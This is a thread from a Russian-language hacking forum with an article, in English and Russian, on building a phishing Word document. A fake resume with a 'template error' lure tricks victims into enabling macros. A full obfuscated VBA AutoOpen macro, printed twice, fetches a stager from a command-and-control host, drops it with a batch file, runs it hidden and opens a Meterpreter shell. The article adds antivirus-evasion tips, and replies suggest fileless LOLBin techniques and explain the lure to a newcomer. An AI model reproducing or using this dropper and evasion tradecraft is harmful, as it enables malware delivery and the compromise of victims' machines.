• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Phishing a Payload Part 2: Building a Document and VBA Macro that is Undetectable

forgehelm

HDD-drive
Пользователь
Регистрация
27.07.2021
Сообщения
29
Реакции
40
Гарант сделки
2
Депозит
0.0017
In part 2 we will create a document with a VBA macro that will drop our payload. To do this, I recommend identifying something that will be relevant to the target. In this case, a fake resume will do. Create the resume to appear to be legitimate, but cut off due to a "template error" which then encourages the user to click to enable macros:
N4Ix6vQUw_N9ha0eUnNLleHQInuNXaJgFVI9NTsnpUvuIIcPWFEUCpX6v0U0hdXSSah352AbbvE7jvvtyFa_ThWhZAXcb20AeX7xGRedU-8zrMVd8yKlfP7lUB33IjfNl6qwbk19hWLAei086w

Figure 1: Screenshot of the document that was crafted for this phishing campaign.

Once this is complete, create a new macro and name it “AutoOpen”:
m_-XyvktDWy2GIz3A4k6WIwYH29ogKFL_9CoIG931xeADD1F2Iap-ABh0DMw33DeNsfmR4K4JQWiXNSJPb-JJ9Q4xENo1mAmD-vedyUZGYD1-VXR2lutnDzGleKE6Uki2RvnQsGbyGOa2OUCKA

Figure 2: By default no macros are populated in a DOCM file - click “Create” to generate a new, blank macro.

AutoOpen macros run by default when MS Word is opened. A macro is needed that will pull down the custom stager created in part 1 and then execute it. To achieve this the following workflow is needed:

HTTP request for malicious stager > allocate temporary filename > save malicious file to temp location > create batch file to execute stager > execute batch file


The VBA code to do this is rather straightforward, however, a layer of obfuscation is necessary to prevent Windows Defender and built in browser protections from identifying the macro as malicious:
0vU5uyiX0izZd07belhlt9rRBNOyb6JUhDSsh-oFxuWIA5xev0-5rd0Tx9bnjQ9dnwTThU1CatgmdHOgRplAq1hkmxjjRrq4fK_TrAe9NoiMZ0uPRK0F9M73eb2lIe5bpt_cc_b6Aw6TpUzEuQ

Figure 2: The obfuscated AutoOpen macro used in the maldoc. When obfuscating macros one of the most straightforward approaches is to simply rename functions using random strings and expand those variables later.

There are a few items here to highlight that are very helpful in obfuscating your code:
1. Creating variables for strings - this equates certain pieces of data to a nonsense variable that can be converted back before execution (ex. aiuttkjwp + Irenetemplate + utiwm + igy + pen + kove + termm will convert to shell mshta when expanded). This does not need to be excessive as we will add another layer of obfuscation later.

2. Use environment-aware system variables to reference the dropped payload - in the code below Set fso = CreateObject("Scripting.FileSystemObject") is used to create an object Dim tempFileName As String declares a variable as a string and tempFileName = fso.GetTempName() 'Result: "rad65800.tmp" assigns an ephemeral, temporary filename to the object. Set oShell = CreateObject("WScript.Shell") creates a shell Dim strHomeFolder As String declares a variable for the path and strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\AppData\Local\" & tempFileName expands the user's AppData\Local\ directory with the stager filename added on to the end for execution.

3. Drop your command into a BAT file for execution after - as part of the execution, the command above will be written to a BAT file for execution. This serves in some ways as a dropper to allow any custom shell commands you do not want to execute directly in the context of the shell you have created, to be executed inside of another file. This is helpful as more layers of abstraction from the Word process make it more difficult for tools like Windows Defender to detect.

4. Junk comments - more junk comments will help alter the macro to avoid any string detections.

Код:
Sub AutoOpen()
    Dim unrre As String
    Dim unrra As String
    Dim WinHttpReq          As Object: Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    
    strQ = Chr$(34)
    aiuttkjwp = "Sh"
    Irenetemplate = "h"
    utiwm = "E"
    igy = "ll"
    pen = "ms"
    termm = "ta"
    kove = "h"
    po = "ttp"
    tod = "c2domain"
    pom = "com"
    drap = "ex"
    st = "e"
    srome = aiuttkjwp & utiwm & igy & " "
    tarp = pen & kove & termm
    Shell "ping 1", vbHide
    pog = kove & po & ":" & "//"
    lore = tod & "." & pom & ":"
    twen = 844
    trout = 3
    
    
    
    'MsgBox srome & strQ & tarp & " " & pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm
    
    uni = srome & strQ & tarp & " " & pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm & strQ
    'projectPage = pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm
    projectPage = pog & lore & twen & trout & "/" & "storb" & "." & drap & st
    unrre = pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm
    
    'MsgBox projectPage
    
    unrra = unrre
    'MsgBox unrra

    Set fso = CreateObject("Scripting.FileSystemObject")
    Dim tempFileName As String
    tempFileName = fso.GetTempName()  'Result: "rad65800.tmp"
  
    Set oShell = CreateObject("WScript.Shell")
    Dim strHomeFolder As String
    strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\AppData\Local\" & tempFileName
    'MsgBox strHomeFolder

    WinHttpReq.Open "GET", projectPage, False
    WinHttpReq.Send
    Dim oStream         As Object: Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile strHomeFolder, Abs(CInt(Overwrite)) + 1
    oStream.Close

    TextOutput = "Oranges faint when peeled"
    filePath = oShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & "\AppData\Local\" & tempFileName & ".bat"
    Set fileStream = CreateObject("ADODB.Stream")
    fileStream.Open
    fileStream.Type = 2
    fileStream.Charset = "iso-8859-1"
    fileStream.WriteText "cmd /c " & strHomeFolder
    fileStream.SaveToFile (filePath)
    fileStream.Close
    
    Set wsh = VBA.CreateObject("WScript.Shell")
    wsh.Run filePath, Hidden

End Sub

Once the VBA code is in place, test it to ensure it is in fact retrieving and executing the payload. Once validated, one more layer of obfuscation is added to ensure it is not detectable. For this a tool called vba-obfuscator is used. This tool uses Python to add a much more complex layer of obfuscation to the macro. To start, paste the macro into a text document and save it:
kXshvC2KkKr6gAW4tNAx2cNM5EpLtLezKg6J7ZgDSvHt1RwVvsO6u5xfuwGo80Ho5D_QzYK6rlv-jnL2_UiCnus02WtxdJEgm_yvdg-mGdBJBw2VnKn_zMjrHh7rN8jCTfE-faHovReeWosbnw

Figure 3: Screenshot of the macro used prior to the extra layer of obfuscation being added.

Vba-obfuscator is then run against this saved file and the obfuscated output is saved:
cUHdPknOlmlDCJrpGlazPIUZF7tlQxJKwGCAyJVQPDgyc9P5yUPhc2EdkO6WNCpAkNFuPEdoWMmOBYqi5OLUPuyTwY4rYNMCisP8quReWiwORZdWrWjJwkfQ2sKlmYK-PmgXfdVERovedO-8SQ

Figure 4: Shell output that is shown after completing obfuscation. Note the Document Variable that is called out.

Inside the output file the macro now contains many new layers of obfuscation:
T2oqn0FenXdF_ceCM7GXNvQGM3E_Keg8lSLTRVym0zWaHU8e5Wo6TzdTDzO4zRJkJ9BT1pfAmfcjiKYDtFvhJSBy9oa5pOIlTmOvQEDqAJZ7bt4K4rOuXlNZaFHSyU0y3xOVI-FGMHtgA3MNog

Figure 5: The automated output of vba-obfuscator provides functionality that would take many hours to write by hand.

Prior to replacing the old VBA code with the new code, the snippet that is at the top of the macro must be executed to set the document variable before pasting the obfuscated code:
YsScdC_0URYJLOMYwky_gUC0UmvvgLwmd-Q3a51dx9QPYXOpKVs3swSS_IIaRuzodUpR6yegb2ReEjO9sWeqGYEX7fs_-1Fm1OT8mvcNoiMAxkpqYgZr2Nd3dZ5j5LOOulnraXFrzTzmHR-eyw

Figure 6: Ensure the variable is pasted between the Sub and End Sub statements and then press the green play button.

Once entered, the macro is executed and the variable is stored. This is then replaced with the rest of the obfuscated code and saved:
R9xiVOz8IxcXRXosbhicg6gELGYHg03xYIXoshR936dhEbZP-XWjsTDE9swqfKqSe8TSPssgDq7U5w72VbzLgJvC6wO4DWOkikbKHUPqbyaSPA66Vl7WVHjtVbDkap8iYv-NghOHerb5LbtYKA

Figure 7: The variable code snippet should be erased entirely and replaced with the full, obfuscated macro.

Now, when the document is opened and macros are enabled, the payload should be retrieved and executed from http://c2domain.com:8443/variable.exe. Because the custom stager will be hosted in a different directory than the second-stage payload, a second port forward rule is needed so that the payload can be retrieved (remember in part 1 you were supposed to create a port forward rule for your custom stager to retrieve its payload). A second HTTP listener is then executed in the directory hosting the payload using Python SimpleHTTPServer:
NJFGvtcheisOmxcp9L1gFhoE07RdsMcL2jbL9DqW4WiARVGMl1ewJ4M4U6IyxP8R8TxcHQnYzV_eAs2BR4N7eXln7Lw-w3bHWNZS2fig6cpLGFizUsGraz0CL4lJozvnwDx7_ipmXbldQQblaQ

Figure 8: Note that the listening port matches the Forward Port from the previous port forward rule. The HTTP logs can also be forwarded to an output file by simply redirecting the output to a txt file using “> log.txt” at the end of the command.

This is followed by a Meterpreter shell being opened, when the second-stage is retrieved:
Yo69CCgwQKnIHCz_154iWum1reFunnHS0EAXm7S21DUDLzx2L_REF6IxUEA2EN830i6C7WNJHYKRs8dkIwWhH11wgDIuatWhW7cyITj5afitJ8xvm3sRYZJ7wE5vsLvLDvxMLDwgdAT5vx4KKA

Figure 9: The shell is now executed end-to-end using the macro and retrieved payloads simply by opening the document when macros are enabled.

This obfuscation is usually good enough to evade signature detections. Behavioral detection can be a bit more difficult once you start executing the shell in memory. When you execute and test be sure to not be stupid and leave automatic sample submission, etc enabled on the test machine or your macro will not keep working!
 
Во второй части мы создадим документ с макросом VBA, который дропнет нашу полезную нагрузку. Для этого я рекомендую определить что-то, что будет иметь отношение к цели.

В этом случае подойдет фальшивое резюме. Создайте резюме, чтобы показать его легитимным, но сделайте ишибку "template error", которая затем побуждает пользователя нажать кнопку, чтобы включить макросы:

1656022348927.png


Как только это будет завершено, создайте новый макрос и назовите его "Autoopen":

1656022377086.png


Макрос AutoOpen, запускаются по умолчанию при открытии MS Word. Необходим макрос, который будет стягивать пользовательский стайджер, созданный в части 1, а затем выполнит его. Для достижения этого необходим следующий рабочий процесс:

Http запрос на злонамеренный стайджер > выделить временное имя файла > Сохранить вредоносный файл в папке темп> Создать пакетный файл для выполнения стайджер > выполнить этот файл

Код VBA для этого довольно прост, тем не менее, слой запутывания необходим для предотвращения защитника Windows и встроенной защиты браузера от идентификации макроса как вредоносного:

1656022403704.png


Здесь есть несколько элементов, которые очень полезны для запутывания вашего кода:

1. Создание переменных для строк - это приравнивает определенные части данных к бессмысленной переменной, которая может быть преобразована обратно перед выполнением ( aiuttkjwp + irenetemplate + utiwm + igy + pen + kove + termm будет преобразовать в оболочку Mshta при расширении). того не должно быть слишком много, так как мы добавим еще один слой запутывания позже.

2. Используйте системные переменные с учетом среды, чтобы ссылаться на дропнутую полезную нагрузку - в коде ниже установленного FSO = createObject ("scripting.filesyStemobject") используется для создания Dim TempFileName объекта, так как строка объявляет переменную как строка и tempfilename = fso.getTempname ( ) 'Result: "RAD65800.tmp" назначает эфемерное временное имя файла объекту. Установите oshell = createObject ("wscript.shell") создает оболочку Dim Strhomefolder, так как строка объявляет переменную для пути, а strhomefolder = oshell.expandenvironmentstrings ("%Userprofile%") & "\appdata\local\" & tempfileName расширяет пользователь. AppData\Local\ Directory с именем файла Stager добавлено до конца для выполнения.

3. Дропните свою команду в файл BAT для выполнения после - как часть выполнения, команда выше будет записана в файл BAT для выполнения. Это служит в некотором смысле как дроппер, позволяющий любым пользовательским командам оболочки, которые вы не хотите выполнять непосредственно в контексте созданной вами оболочки, для выполнения внутри другого файла. Это полезно, так как больше слоев абстракции от слоя процесса затрудняет обнаружение таких инструментов, как Defender Windows.

4. Мусорные комментарии - больше мусорных комментариев помогут изменить макрос, чтобы избежать обнаружения строк.

Sub AutoOpen()
Dim unrre As String
Dim unrra As String
Dim WinHttpReq As Object: Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")

strQ = Chr$(34)
aiuttkjwp = "Sh"
Irenetemplate = "h"
utiwm = "E"
igy = "ll"
pen = "ms"
termm = "ta"
kove = "h"
po = "ttp"
tod = "c2domain"
pom = "com"
drap = "ex"
st = "e"
srome = aiuttkjwp & utiwm & igy & " "
tarp = pen & kove & termm
Shell "ping 1", vbHide
pog = kove & po & ":" & "//"
lore = tod & "." & pom & ":"
twen = 844
trout = 3



'MsgBox srome & strQ & tarp & " " & pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm

uni = srome & strQ & tarp & " " & pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm & strQ
'projectPage = pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm
projectPage = pog & lore & twen & trout & "/" & "storb" & "." & drap & st
unrre = pog & lore & twen & "/" & "fzYUA1k" & "." & Irenetemplate & termm

'MsgBox projectPage

unrra = unrre
'MsgBox unrra

Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempFileName As String
tempFileName = fso.GetTempName() 'Result: "rad65800.tmp"

Set oShell = CreateObject("WScript.Shell")
Dim strHomeFolder As String
strHomeFolder = oShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\AppData\Local\" & tempFileName
'MsgBox strHomeFolder

WinHttpReq.Open "GET", projectPage, False
WinHttpReq.Send
Dim oStream As Object: Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile strHomeFolder, Abs(CInt(Overwrite)) + 1
oStream.Close

TextOutput = "Oranges faint when peeled"
filePath = oShell.ExpandEnvironmentStrings("%USERPROFILE%") & "\" & "\AppData\Local\" & tempFileName & ".bat"
Set fileStream = CreateObject("ADODB.Stream")
fileStream.Open
fileStream.Type = 2
fileStream.Charset = "iso-8859-1"
fileStream.WriteText "cmd /c " & strHomeFolder
fileStream.SaveToFile (filePath)
fileStream.Close

Set wsh = VBA.CreateObject("WScript.Shell")
wsh.Run filePath, Hidden

End Sub


После того, как код VBA будет на месте, проверьте его, чтобы убедиться, что он на самом деле получает и выполняет полезную нагрузку. После проверки добавляется еще один слой обфускации, чтобы убедиться, что он не обнаруживается. Для этого используется инструмент под названием VBA-Obfuscator (https://github.com/bonnetn/vba-obfuscator). Этот инструмент использует Python, чтобы добавить гораздо более сложный слой запутывания на макрос. Для начала вставьте макрос в текстовый документ и сохраните его:

1656022478071.png


Затем VBA-Obfuscator запускается против этого сохраненного файла, а запутанный вывод сохраняется:

1656022507805.png


Внутри выходного файла макрос теперь содержит много новых слоев запутывания:

1656022534743.png


Перед заменой старого кода VBA новым кодом фрагмент, который находится в верхней части макроса, должен быть выполнен для установки переменной документа, прежде чем вставлять запутанный код:

1656022560169.png


После ввода макрос выполняется и переменная сохраняется. Затем это заменяется остальной частью запутанного кода и сохраняется:

1656022584290.png


Теперь, когда документ открыт и макросы включены, полезная нагрузка должна быть получена и выполнена с http://c2domain.com:8443/variable.exe. Поскольку пользовательский стэйджно будет размещен в другом каталоге, чем во второй стадийной полезной нагрузке, необходимо второе правило по перенаправлению, чтобы можно было извлечь полезную нагрузку (помните, что в части 1 вы должны были создать правило форварда порта для вашего пользовательского стэйджера, чтобы получить свою полезную нагрузку).

Второй прослушитель HTTP затем выполняется в каталоге, размещая полезную нагрузку с помощью Python simplehttpserver:

1656022618039.png

За этим следует открываемая оболочка метерпретера, когда на второй стадии получен коннект:

1656022642119.png


Эта обфускация, как правило, достаточно хорошая, чтобы уклониться от обнаружения подписи. Поведенческое обнаружение может быть немного сложнее, как только вы начнете выполнять оболочку в памяти. Когда вы выполняете и тестируете пейлоды, обязательно не тормозите и оставьте автоматическое представление образца на тестовой машине или ваш макрос не будет работать!
 
На самом деле, сигнатурный анализ обходится в 10 строчек на питоне через бомжатский обфускатор, а вот эвристика, которая ловит любое подозрительное действие, а вызов некоторых лол бинов/запись файлов, их запуск как дочерних процессов офиса сразу палится)
И желательно юзать какие-то лолбины(часть из них все еще не палится), а не записывать в файлы, это модный нынче fileless метод и более беспалевный соответственно.
А за статью спасибо
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите пожалуйста ☺️
1) Как создать template error?
2) Нужно ли создавать bat файл вручную или он генерируется в коде автоматически?
 
Подскажите пожалуйста ☺️
1) Как создать template error?
2) Нужно ли создавать bat файл вручную или он генерируется в коде автоматически?
template error это фейковая ошибка , которая просто разводит юзера включить макросы. Ты можешь придумать что-то свое
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх